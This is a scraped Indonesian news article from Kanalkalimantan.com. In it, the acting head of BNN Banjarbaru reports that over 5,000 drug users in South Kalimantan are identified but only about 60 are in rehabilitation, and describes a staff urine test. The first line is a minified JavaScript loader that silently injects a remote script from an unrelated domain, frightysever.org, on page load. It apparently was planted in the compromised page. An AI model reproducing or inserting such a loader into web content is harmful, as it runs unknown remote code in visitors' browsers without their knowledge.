(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Plt Kepala Badan Narkotika Nasional Kota Banjarbaru, Iskandar Adam, menyoroti para pecandu narkoba yang masih enggan menjalani program rehabilitasi. Hal itu diungkapkannya saat melakukan tes urine terhadap seluruh pegawainya, Rabu (7/12/2022).
Dijelaskan Iskandar Adam, hingga saat ini telah teridentifikasi 5.000 lebih pecandu narkoba yang ada di Provinsi Kalimantan Selatan. Dari jumlah itu, sayangnya hanya sekitar 60 orang saja yang mengikuti program rehabitasi yang disediakan oleh pihak BNN sejak awal tahun tadi.
“Itu merupakan data yang kita punya untuk seluruh daerah di Kalsel. Tentu kita menyayangkan dengan kondisi ini karena sebenarnya kami membuka pintu yang selebar-lebarnya untuk mereka,” katanya.
Menurut Kepala BNNK Banjarbaru, ada sejumlah faktor yang mengakibatkan enggannya pecandu narkoba untuk mengikuti program rehabilitasi. Salah satunya ialah kurangnya informasi tentang program rehabilitasi BNNK Banjarbaru.
Baca juga : Tanam Bibit Kopi di RTH Banjarbaru, Ini Respon Wali Kota Pontianak
“Jadi ada 3 faktor, takut, malu dan kurangnya informasi untuk mendapatkan rehabilitasi ini. Nah di sini kami ingin memberitahukan bahwa untuk mengikuti rehabilitasi ini cukup datang saja ke kantor BNN dan selanjutnya akan dijadwalkan untuk mengikuti rehabilitasinya,” terangnya.
Pada kesempatan yang sama pula BNNK Banjarbaru menggelar tes urine terhadap para pegawainya. Kegiatan ini dilakukan sebagaimana mengikuti Intruksi Presiden (INPRES) No 2 Tahun 2020, tentang Rencana Aksi Nasional Pencegahan dan Pemberantasan Penyalahgunaan dan Peredaran Gelap Narkotika dan Prekursor Narkotika Tahun 2020-2024.
Sebanyak 31 pegawai BNNK Banjarbaru mengikuti uji tes urine kni. Sedari awal pun disampaikan Kepala BNNK Banjarbaru bahwa dirinya tidak segan-segen memberikan sanksi hukuman apabila terdapat pegawainya yang dinyatakan positif mengkonsumsi barang haram tersebut.
“Tentu akan kita assement sesuai undang-undang yang berlaku. Hasil tes tadi semuanya hasil negatif. Ini menjadi bentuk pertanggung jawaban kami, karena bukan hanya instansi-instansi pemerintah saja yang kita tes urine, tapi di internal BNN pun juga,” tegasnya.
Baca juga : Mobil Dinas Baru Camat, Bupati Kapuas Lakukan Test Drive
Di akhir wawancaranya, Iskandar Adam, menyampaikan rasa terima kasihnya kepada Pemerintah Kota (Pemko) Banjarbaru terkhusus Wali Kota Banjarbaru, Aditya Mufti Ariffin yang telah mendukung program-program dan kegiatan BNNK Banjarbaru selama tahun 2022 ini.
“Kami sampaikan terima kasih kepada Pemko Banjarbaru yang selalu mendukung kami. Terutama bapak Wali Kota yang selalu menyempatkan hadir disetiap agenda kami. Semoga sinegritas ini akan selalu terjalin baik ke depannya,” tuntasnya. (Kanalkalimantan.com/al)
Reporter : al
Editor : kk
KANALKALIMANTAN.COM, BANJARMASIN - Suasana di kantor Bawaslu Provinsi Kalsel pada Jumat (22/11/2024) siang terpantau seperti… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemko Banjarbaru menyelenggarakan acara penyerahan SK kenaikan pangkat PNS periode 1 Desember… Read More
KANALKALIMANTAN.COM, JAKARTA - Tim penyidik Komisi Pemberantasan Korupsi (KPK) menjadwalkan pemanggilan terhadap mantan Gubernur Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARBARU – Penjabat Sementara (Pjs) Wali Kota Banjarbaru Dra Hj Nurliani MAP singgah ke… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru melalui Dinas Lingkungan Hidup (DLH) Kota Banjarbaru menggelar… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Pengunduran diri Sahbirin Noor atau Paman Birin dari jabatan Gubernur Kalimantan Selatan… Read More
This website uses cookies.